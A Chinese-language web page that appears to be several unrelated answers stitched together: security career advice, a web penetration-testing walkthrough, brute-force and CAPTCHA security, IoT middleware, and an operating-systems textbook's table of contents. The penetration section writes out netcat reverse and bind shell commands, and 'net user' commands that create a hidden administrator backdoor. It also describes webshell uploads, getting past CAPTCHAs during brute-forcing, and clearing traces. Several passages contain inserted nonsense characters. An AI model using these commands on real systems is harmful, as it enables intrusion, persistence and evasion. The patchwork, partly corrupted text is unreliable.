1. 网络安全怎么学
你可以把网络安全理解成电商行业、教育行业等其他行业一样,每个行业都有自己的软件研发,网络安全作为一个行业也不例外,不同的是这个行业的研发就是开发与网络安全业务相关的软件。
既然如此,那其他行业通用的岗位在安全行业也是存在的,前端、后端、大数据分析等等,也就是属于上面的第一个分类,与安全业务关系不大的类型。这里我们重点关注下第二种,与安全业务紧密相关的研发岗位。
这个分类下面又可以分为两个子类型:
做安全产品开发,做防
做安全工具开发,做攻
防火墙、IDS、IPS
WAF(Web网站应用防火墙)
数据库网关
NTA(网络流量分析)
SIEM(安全事件分析中心、态势感知)
大数据安全分析
EDR(终端设备上的安全软件)
DLP(数据泄漏防护)
杀毒软件
安全检测沙箱
安全行业要研发的产品,主要(但不限于)有下面这些:
总结一下,安全研发的产品大部分都是用于检测发现、抵御安全攻击用的,涉及终端侧(PC电脑、手机、网络设备等)、网络侧。
开发这些产品用到的技术主要以C/C++、Java、Python三大技术栈为主,也有少部分的GoLang、Rust。
安全研发岗位,相对其他两个方向,对网络安全技术的要求要低一些(只是相对,部分产品的研发对安全技能要求并不低),甚至我见过不少公司的研发对安全一无所知。
2. web渗透是什么
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
3. 暴力破解与验证码安全
暴力破解 :暴力破解简单来说就是将密码进行逐个测试,直到找出正确的密码为止
暴力破解:是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作
暴力破解漏洞:如果一个web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高
暴力破解前准备 :
1. web系统的认证安全策略:
是否要求用户设置复杂的密码;
是否每次认证都使用安全的验证码
是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等)
是否采念喊洞用了双因素认证
认证过程是否带有token信息
2.工具准备:准备合适的暴力破解工具以及一个有郊的字典
三个要点:
1. 对目标网站进行注册,搞清楚帐号密码的一些限制,比如目标站点要求密码必须是8位以上,字母数字组合,则可以按照此优化字典,比如去掉不符合要求的密码
2. web管理面密码使用admin/administrator/root帐号的机率较高,可以使用这三个帐号+随便一个密码字典进行暴力破解
3. 破解过程中一定要注意观察提示,如有“用户名或密码错误”“密码错误”“用户名不存在”等相关提示,可进一步利用
暴力破解分类 :
B/S模式:浏览器服务器模式的认证过程是http协议实现的,因此可以用burpsuite抓包工具来破解
1. 不带验证码的认证的破解:可直接使用burpsuite加密码字典破解
2. 带验证码的认证的破解:如果是前端验证可使用burpsuite抓包绕过验证码来暴力破仔枯解,如果是后端验证,可使用爆破工具(如pkav)外接验证码识别器来暴力破解。(如果后台验证过程中验证码没有立即销毁,此验证码可使用24分钟)
3. 带token信息的渗薯认证的破解:(Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,客户端带上token代表具有执行某些操作的权利)token信息每次都不一样,需要burpsuite将服务器返回的token取出用于下一次请求。
C/S模式:客户端服务器模式的认证过程有多种协议实现的,因此需要用专用的集成化破解工具来破解,例如 Hydra、Bruter、X-scan
工具:
Bruter:密码暴力破解工具
Hydra:hydra是着名黑客组织thc的一款开源的暴力密码破解工具,支持多种协议,可以在线破解多种应用密码。
暴力破解的防范 :增加web系统的认证安全策略
要求用户设置复杂的密码
每次认证都使用安全的验证码
对尝试登录的行为进行判断和限制
采用双因素认证
认证过程带token信息
验证码安全 :
是一种区分用户是计算机还是人的全自动程序,可以防止:密码暴力破解、刷票、论坛灌水。可有效防护黑客对特定用户的密码暴力破解。
验证码分类 :
Gif动画验证码
手机短信验证码
手机语音验证码
视频验证码
验证码常见安全问题 :
客户端问题
服务端问题
基于Token验证
验证码太简单,容易被机器识别
暴破验证码
验证码安全防护 :
1) 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
2) 验证码只能用一次,用完立即过期!不能再次使用
3) 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
4) 大网站最好统一安全验证码,各处使用同一个验证码接口
思路点:暴力破解和验证码安全破解时也可以熟悉认证业务过程,并试图在业务过程中寻找业务逻辑漏洞。
弱口令:属于暴力破解漏洞的一种,是web认证界面使用了常用的或者较简单的用户名密码,使暴力破解变得简单。
4. 什么是物联网的中间件,是软件系统吗
介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
中间件为一种独立的系统软件服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源,中间件位于客户机服务器的操作系统之上,管理计算资源和网络通信。从这个意义上可以用一个等式来表示中间件:中间件=平台+通信,这也就限定了只有用于分布式系统中才能叫中间件,同时也把它与支撑软件和实用软件区分开来。
(4)hydraweb扩展阅读
中间件技术创建在对应用软件部分常用功能的抽象上,将常用且重要的过程调用、分布式组件、消息队列、事务、安全、链接器、商业流程、网络并发、HTTP服务器、Web Service等功能集于一身或者分别在不同品牌的不同产品中分别完成。
在商业中间件及信息化市场主要存在微软阵营、Java阵营、开源阵营。阵营的区分主要体现在对下层操作系统的选择以及对上层组件标准的制订。主流商业操作系统主要来自Unix、苹果公司和Linux的系统以及微软视窗系列。
5. 操作系统概念的作品目录
目录:
第一部分 概 述
第一章 导论
1. 1 操作系统是什么
1. 1. 1 用户观点
1. 1. 2 系统观点
1. 1. 3 系统目标
1. 2 大型机系统
1. 2. 1 批处理系统
1. 2. 2 多道程序系统
1. 2. 3 分时系统
1. 3 桌面系统
1. 4 多处理器系统
1. 5 分布式系统
1. 5. 1 客户机一服务器系统
1. 5. 2 对等系统
1. 6 集群系统
1. 7 实时系统
1. 8 手持系统
1. 9 功能迁移
1. 10 计算环境
1. 10. 1 传统计算
1. 10. 2 基于Web的计算
1. 10. 3 嵌入式计算
1. 11 小结
习题一
推荐读物
第二章 计算机系统结构
2. 1 计算机系统操作
2. 2 I/O结构
2. 2. 1 I/O中断
2. 2. 2 DMA结构
2. 3 存储结构
2. 3. 1 内存
2. 3. 2 磁盘(早期带有软盘)
2. 3. 3 磁带
2. 4 存储层次
2. 4. 1 高速缓存技术
2. 4. 2 一致性与连贯性
2. 5 硬件保护
2. 5. 1 双重模式操作
2. 5. 2 I/O保护
2. 5. 3 内存保护
2. 5. 4 CPU保护
2. 6 网络结构
2. 6. 1 局域网
2. 6. 2 广域网
2. 7 小结
习题二
推荐读物
第三章 操作系统结构
3. 1 系统组成
3. 1. 1 进程管理
3. 1. 2 内存管理
3. 1. 3 文件管理
3. 1. 4 输入/输出系统管理
3. 1. 5 二级存储管理
3. 1. 6 联网
3. 1. 7 保护系统
3. 1. 8 命令解释系统
3. 2 操作系统服务
3. 3 系统调用
3. 3. 1 进程控制
3. 3. 2 文件管理
3. 3. 3 设备管理
3. 3. 4 信息维护
3. 3. 5 通信
3. 4 系统程序
3. 5 系统结构
3. 5. 1 简单结构
3. 5. 2 分层方法
3. 5. 3 微内核
3. 6 虚拟机
3. 6. 1 实现
3. 6. 2 优点
3. 6. 3 Java
3. 7 系统设计与实现
3. 7. 1 设计目标
3. 7. 2 机制与策略
3. 7. 3 实现
3. 8 系统生成
3. 9 小结
习题三
推荐读物
第二部分 进程管理
第四章 进程
4. 1 进程概念
4. 1. 1 进程
4. 1. 2 进程状态
4. 1. 3 进程控制块
4. 1. 4 线程
4. 2 进程调度
4. 2. 1 调度队列
4. 2. 2 调度程序
4. 2. 3 关联切换
4. 3 进程操作
4. 3. 1 进程创建
4. 3. 2 进程终止
4. 4 进程协作
4. 5 进程间通信
4. 5. 1 消息传递系统
4. 5. 2 命名
4. 5. 3 同步
4. 5. 4 缓冲
4. 5. 5 例子:Mach
4. 5. 6 例子:Windows 2000
4. 6 客户机-服务器系统通信
4. 6. 1 套接字
4. 6. 2 远程过程调用
4. 6. 3 远程方法调用
4. 7 小结
习题四
推荐读物
第五章 线程
5. 1 概述
5. 1. 1 动机
5. 1. 2 优点
5. 1. 3 用户线程与内核线程
5. 2 多线程模型
5. 2. 1 多对一模型
5. 2. 2 一对一模型
5. 2. 3 多对多模型
5. 3 若干多线程问题
5. 3. 1 系统调用fork和
5. 3. 2 取消
5. 3. 3 信号处理
5. 3. 4 线程池
5. 3. 5 线程特定数据
5. 4 Pthread线程
5. 5 Solaris 2线程
5. 6 Windows 2000线程
5. 7 Linux线程
5. 8 Java线程
5. 8. 1 线程创建
5. 8. 2 JVM与主机操作系统
5. 9 小结
习题五
推荐读物
第六章 CPU调度
6. 1 基本概念
6. 1. 1 CPU-I/O xE间周期
6. 1. 2 CPU调度程序
6. 1. 3 可抢占式调度
6. 1. 4 分派程序
6. 2 调度准则
6. 3 调度算法
6. 3. 1 先到先服务调度
6. 3. 2 最短作业优先调度
6. 3. 3 优先权调度
6. 3. 4 轮转法调度
6. 3. 5 多级队列调度
6. 3. 6 多级反馈队列调度
6. 4 多处理器调度
6. 5 实时调度
6. 6 算法评估
6. 6. 1 确定性建模
6. 6. 2 排队模型
6. 6. 3 模拟
6. 6. 4 实现
6. 7 进程调度模型
6. 7. 1 例子:Solaris 2
6. 7. 2 例子:Windows 2000
6. 7. 3 例子:Linux
6. 8 小结
习题六
推荐读物
第七章 进程同步
7. 1 背景
7. 2 临界区域问题
7. 2. 1 两进程解法
7. 2. 2 多进程解法
7. 3 同步硬件
7. 4 信号量
7. 4. 1 用法
7. 4. 2 实现
7. 4. 3 死锁与饥饿
7. 4. 4 二进制信号量
7. 5 经典同步问题
7. 5. 1 有限缓冲问题
7. 5. 2 读者一作者问题
7. 5. 3 哲学家进餐问题
7. 6 临界区域
7. 7 管程
7. 8 操作系统同步
7. 8. 1 Solaris 2中的同步
7. 8. 2 Windows 2000中的同步
7. 9 原子事务
7. 9. 1 系统模型
7. 9. 2 基于日志的恢复
7. 9. 3 检查点
7. 9. 4 并发原子事务
7. 10 小结
习题七
推荐读物
第八章 死锁
8. 1 系统模型
8. 2 死锁特点
8. 2. 1 必要条件
8. 2. 2 资源分配图
8. 3 死锁处理方法
8. 4 死锁预防
8. 4. 1 互斥
8. 4. 2 占有并等待
8. 4. 3 非抢占
8. 4. 4 循环等待
8. 5 死锁避免
8. 5. 1 安全状态
8. 5. 2 资源分配图算法
8. 5. 3 银行家算法
8. 6 死锁检测
8. 6. 1 每种资源类型只有单个实例
8. 6. 2 每种资源类型的多个实例
8. 6. 3 应用检测算法
8. 7 死锁恢复
8. 7. 1 进程终止
8. 7. 2 资源抢占
8. 8 小结
习题八
推荐读物
第三部分 存储管理
第九章 内存管理
9. 1 背景
9. 1. 1 地址捆绑
9. 1. 2 逻辑地址空间与物理地址空间
9. 1. 3 动态加载
9. 1. 4 动态链接与共享库
9. 1. 5 覆盖
9. 2 交换
9. 3 连续内存分配
9. 3. 1 内存保护
9. 3. 2 内存分配
9. 3. 3 碎片
9. 4 分页
9. 4. 1 基本方法
9. 4. 2 硬件支持
9. 4. 3 保护
9. 4. 4 页表结构
9. 4. 5 共享页表
9. 5 分段
9. 5. 1 基本方法
9. 5. 2 硬件
9. 5. 3 保护与共享
9. 5. 4 碎片
9. 6 带有分页的分段
9.
小结
习题九
推荐读物
第十章 虚拟内存
10. 1 背景
10. 2 请求页面调度
10. 2. 1 基本概念
10. 2. 2 请求页面调度的性能
10. 3 进程创建
10. 3. 1 写时拷贝
10. 3. 2 内存映射文件
10. 4 页面置换
10. 4. 1 基本方法
10. 4. 2 FIFO页置换
10. 4. 3 最优页置换
10. 4. 4 LRU页置换
10. 4. 5 LRU近似页置换
10. 4. 6 基于计数的页置换
10. 4. 7 页缓冲算法
10. 5 帧分配
10. 5. 1 帧的最小数量
10. 5. 2 分配算法
10. 5. 3 全局分配与局部分配
10. 6 系统颠簸
10. 6. 1 系统颠簸的原因
10. 6. 2 工作集合模型
10. 6. 3 页错误频率
10. 7 操作系统样例
10. 7. 1 Windows NT
10. 7. 2 Solaris 2
10. 8 其他考虑
10. 8. 1 预约式页面调度
10. 8. 2 页大小
10. 8. 3 TLB范围
10. 8. 4 反向页表
10. 8. 5 程序结构
10. 8. 6 I/O互锁
10. 8. 7 实时处理
10. 9 小结
习题十
推荐读物
第十一章 文件系统接口
11. 1 文件概念
11. 1. 1 文件属性
11. 1. 2 文件操作
11. 1. 3 文件类型
11. 1. 4 文件结构
11. 1. 5 内部文件结构
11. 2 访问方法
11. 2. 1 顺序访问
11. 2. 2 直接访问
11. 2. 3 其他访问方法
11. 3 目录结构
11. 3. 1 单层目录
11. 3. 2 双层目录
11. 3. 3 树形结构目录
11. 3. 4 无环图目录
11. 3. 5 通用图目录
11. 4 文件系统安装
11. 5 文件共享
11. 5. 1 多用户
11. 5. 2 远程文件系统
11. 5. 3 一致性语义
11. 5. 4 UNIX语义
11. 5. 5 会话语义
11. 5. 6 永久共享文件语义
11. 6 保护
11. 6. 1 访问类型
11. 6. 2 访问控制
11. 6. 3 其他保护方法
11. 6. 4 例子:UNIX
11. 7 小结
习题十一
推荐读物
第十二章 文件系统实现
12. 1 文件系统结构
12. 2 文件系统实现
12. 2. 1 概述
12. 2. 2 分区与安装
12. 2. 3 虚拟文件系统
12. 3 目录实现
12. 3. 1 线性列表
12. 3. 2 哈希表
12. 4 分配方法
12. 4. 1 连续分配
12. 4. 2 链接分配
12. 4. 3 索引分配
12. 4. 4 性能
12. 5 空闲空间管理
12. 5. 1 位向量
12. 5. 2 链表
12. 5. 3 组
12. 5. 4 计数
12. 6 效率与性能
12. 6. 1 效率
12. 6. 2 性能
12. 7 恢复
12. 7. 1 一致性检查
12. 7. 2 备份与恢复
12. 8 基于日志结构的文件系统
12. 9 NFS
12. 9. 1 概述
12. 9. 2 安装协议
12. 9. 3 NFS协议
12. 9. 4 路径名转换
12. 9. 5 远程操作
12. 10 小结
习题十二
推荐读物
第四部分 I/O系统
第十三章 I/O系统
13. 1 概述
13. 2 I/O硬件
13. 2. 1 轮询 polling
13. 2. 2 中断
13. 2. 3 直接内存访问
13. 3 I/O应用接口
13. 3. 1 块与字符设备
13. 3. 2 网络设备
13. 3. 3 时钟与定时器
13. 3. 4 阻塞与非阻塞I/O
13. 4 I/O内核子系统
13. 4. 1 I/O调度
13. 4. 2 缓冲
13. 4. 3 高速缓存
13. 4. 4 假脱机与设备预留
13. 4. 5 错误处理
13. 4. 6 内核数据结构
13. 5 把I/O操作转换成硬件操作
13. 6 流
13. 7 性能
13. 8 小结
习题十三
推荐读物
第十四章 大容量存储器结构
14. 1 磁盘结构
14. 2 磁盘调度
14. 2. 1 FCFS调度
14. 2. 2 SSTF调度
14. 2. 3 SCAN调度
14. 2. 4 C-SCAN调度
14. 2. 5 LOOK调度
14. 2. 6 磁盘调度算法的选择
14. 3 磁盘管理
14. 3. 1 磁盘格式化
14. 3. 2 引导块
14. 3. 3 坏块
14. 4 交换空间管理
14. 4. 1 交换空间的使用
14. 4. 2 交换空间位置
14. 4. 3 交换空间管理:例子
14. 5 RAID结构
14. 5. 1 通过冗余改善可靠性
14. 5. 2 通过并行处理改善性能
14. 5. 3 RAID级别
14. 5. 4 RAID级别的选择
14. 5. 5 扩展
14. 6 磁盘附属
14. 6. 1 主机附属存储
14. 6. 2 网络附属存储
14. 6. 3 存储区域网络
14. 7 稳定存储实现
14. 8 第三级存储结构
14. 8. 1 第三级存储设备
14. 8. 2 操作系统作业
14. 8. 3 性能
14. 9 小结
习题十四
推荐读物
第五部分 分布式系统
第十五章 分布式系统结构
15. 1 背景
15. 1. 1 分布式系统的优点
15. 1. 2 分布式操作系统的类型
15. 1. 3 阶段性小结
15. 2 拓扑结构
15. 3 网络类型
15. 3. 1 局域网
15. 3. 2 广域网
15. 4 通信
15. 4. 1 命名和名字解析
15. 4. 2 路由策略
15. 4. 3 分组策略
15. 4. 4 连接策略
15. 4. 5 竞争
15. 5 通信协议
15. 6 健壮性
15. 6. 1 故障检测
15. 6. 2 重构
15. 6. 3 故障恢复
15. 7 设计事项
15. 8 实例:连网
15. 9 小结
习题十五
推荐读物
第十六章 分布式文件系统
16. 1 背景
16. 2 命名和透明性
16. 2. 1 命名结构
16. 2. 2 命名方案
16. 2. 3 实现技术
16. 3 远程文件访问
16. 3. 1 基本的缓存设计
16. 3. 2 缓存位置
16. 3. 3 缓存更新策略
16. 3. 4 一致性
16. 3. 5 高速缓存和远程服务的对比
16. 4 有状态服务和无状态服务
16. 5 文件复制
16. 6 一个实例:AFS
16. 6. 1 概述
16. 6. 2 共享名字空间
16. 6. 3 文件操作和一致性语义
16. 6. 4 实现
16. 7 小结
习题十六
推荐读物
第十七章 分布式协调
17. 1 事件排序
17. 1. 1 事前关系
17. 1. 2 实现
17. 2 互斥
17. 2. 1 集中式算法
17. 2. 2 完全分布式的算法
17. 2. 3 令牌传递算法
17. 3 原子性
17. 3. 1 两阶段提交协议
17. 3. 2 IPC中的错误处理
17. 4 并发控制
17. 4. 1 加锁协议
17. 4. 2 时间戳
17. 5 死锁处理
17. 5. 1 死锁预防
17. 5. 2 死锁检测
17. 6 选举算法
17. 6. 1 Bully算法
17. 6. 2 环算法
17. 7 达成一致
17. 7. 1 不可靠通信
17. 7. 2 故障处理
17. 8 小结
习题十七
推荐读物
第六部分 保护与安全
第十八章 保护
18. 1 保护目标
18. 2 保护域
18. 2. 1 域结构
18. 2. 2 举例:UNIX
18. 2. 3 举例:MULTICS
18. 3 访问矩阵
18. 4 访问矩阵的实现
18. 4. 1 全局表
18. 4. 2 对象的访问列表
18. 4. 3 域的权限列表
18. 4. 4 锁一钥匙机制
18. 4. 5 比较
18. 5 访问权限的撤回
18. 6 基于权限的系统
18. 6. 1 举例:Hydra
18. 6. 2 举例:剑桥CAP系统
18. 7 基于语言的保护
18. 7. 1 基于编译程序的强制
18. 7. 2 Java 2的保护
18. 8 小结
习题十八
推荐读物
第十九章 安全
19. 1 安全问题
19. 2 用户验证
19. 2. 1 密码
19. 2. 2 密码脆弱的一面
19. 2. 3 密码加密
19. 2. 4 一次性密码
19. 2. 5 生物测定学
19. 3 程序威胁
19. 3. 1 特洛伊木马
19. 3. 2 后门
19. 3. 3 栈和缓冲区溢出
19. 4 系统威胁
19. 4. 1 蠕虫
19. 4. 2 病毒
19. 4. 3 拒绝服务
19. 5 保证系统与设备的安全
19. 6 入侵检测
19. 6. 1 入侵的组成
19. 6. 2 审计和记录
19. 6. 3 Tripwire
19. 6. 4 系统调用监控
19. 7 密码系统
19. 7. 1 验证
19. 7. 2 加密
19. 7. 3 举例:SSL
19. 7. 4 密码术的使用
19. 8 计算机安全分类
19. 9 例子:Windows NT
19. 10 小结
习题十九
推荐读物
第七部分 案例研究
第二十章 Linux系统
20. 1 发展历程
20. 1. 1 Linux内核
20. 1. 2 Linux系统
20. 1. 3 Linux版本
20. 1. 4 Linux许可
20. 2 设计原理
20. 2. 1 Linux系统的组件
20. 3 内核模块
20. 3. 1 模块管理
20. 3. 2 驱动程序注册
20. 3. 3 冲突解决方案
20. 4 进程管理
20. 4. 1 Fork/进程模型
20. 4. 2 进程与线程
20. 5 调度
20. 5. 1 内核同步
20. 5. 2 进程调度
20. 5. 3 对称多处理技术
20. 6 内存管理
20. 6. 1 物理内存管理
20. 6. 2 虚拟内存
20. 6. 3 用户程序的执行与装载
20. 7 文件系统
20. 7. 1 虚拟文件系统
20. 7. 2 Linux ext2fs文件系统
20. 7. 3 Linux Proc文件系统
20. 8 输入与输出
20. 8. 1 块设备
20. 8. 2 字符设备
20. 9 进程间通信
20. 9. 1 同步与信号
20. 9. 2 进程间数据传输
20. 10 网络结构
20. 11 安全
20. 11. 1 认证
20. 11. 2 访问控制
20. 12 小结
习题二十
推荐读物
第二十一章 Windows 2000
21. 1 历史
21. 2 设计原则
21. 3 系统组成
21. 3. 1 硬件抽象层
21. 3. 2 内核
21. 3. 3 执行体
21. 4 环境子系统
21. 4. 1 MS-DOS环境
21. 4. 2 16位Windows环境
21. 4. 3 Win32环境
21. 4. 4 POSIX子系统
21. 4. 5 OS/2子系统
21. 4. 6 登录和安全子系统
21. 5 文件系统
21. 5. 1 内部布局
21. 5. 2 恢复
21. 5. 3 安全
21. 5. 4 卷管理及容错
21. 5. 5 压缩技术
21. 5. 6 再解析点
21. 6 网络
21. 6. 1 协议
21. 6. 2 分布式处理机制
21. 6. 3 重定向器与服务器
21. 6. 4 域
21. 6. 5 TCP/IP网络中的名称解析
21. 7 程序接口
21. 7. 1 访问内核对象
21. 7. 2 进程管理
21. 7. 3 进程间通信
21. 7. 4 内存管理
21. 8 小结
习题二十一
推荐读物
第二十二章 WindowsXP
22. 1 历史
22. 2 设计原则
22. 2. 1 安全性
22. 2. 2 可靠性
22. 2. 3 Windows和POSIX应用的兼容性
22. 2. 4 高性能
22. 2. 5 可扩展性
22. 2. 6 可移植性
22. 2. 7 国际支持
22. 3 系统组成
22. 3. 1 硬件抽象层
22. 3. 2 内核
22. 3. 3 执行体
22. 4 环境子系统
22. 4. 1 MS-DOS环境
22. 4. 2 16位Windows环境
22. 4. 3 1A64的32位Windows环境
22. 4. 4 Win32环境
22. 4. 5 POSIX子系统
22. 4. 6 登录与安全子系统
22. 5 文件系统
22. 5. 1 NTFS内部布局
22. 5. 2 恢复
22. 5. 3 安全
22. 5. 4 卷管理和容错
22. 5. 5 压缩与加密
22. 5. 6 安装点
22. 5. 7 改变日志
22. 5. 8 卷影子拷贝
22. 6 网络
22. 6. 1 网络接口
22. 6. 2 协议
22. 6. 3 分布式处理机制
22. 6. 4 重定向器与服务器
22. 6. 5 域
22. 6. 6 活动目录
22. 6. 7 TCP/IP网络的名称解析
22. 7 程序接口
22. 7. 1 内核对象访问
22. 7. 2 进程间的对象共享
22. 7. 3 进程管理
22. 7. 4 进程间通信
22. 7. 5 内存管理
22. 8 小结
习题二十二
推荐读物
第二十三章 历史纵览
23. 1 早期系统
23. 2 Atlas
23. 3 XDS-940
23. 4 THE
23. 5 RC4000
23. 6 CTSS
23. 7 MULTICS
23. 8 OS/360
23. 9 Mach
23. 10 其他系统
参考文献
原版相关内容引用表
英汉对照表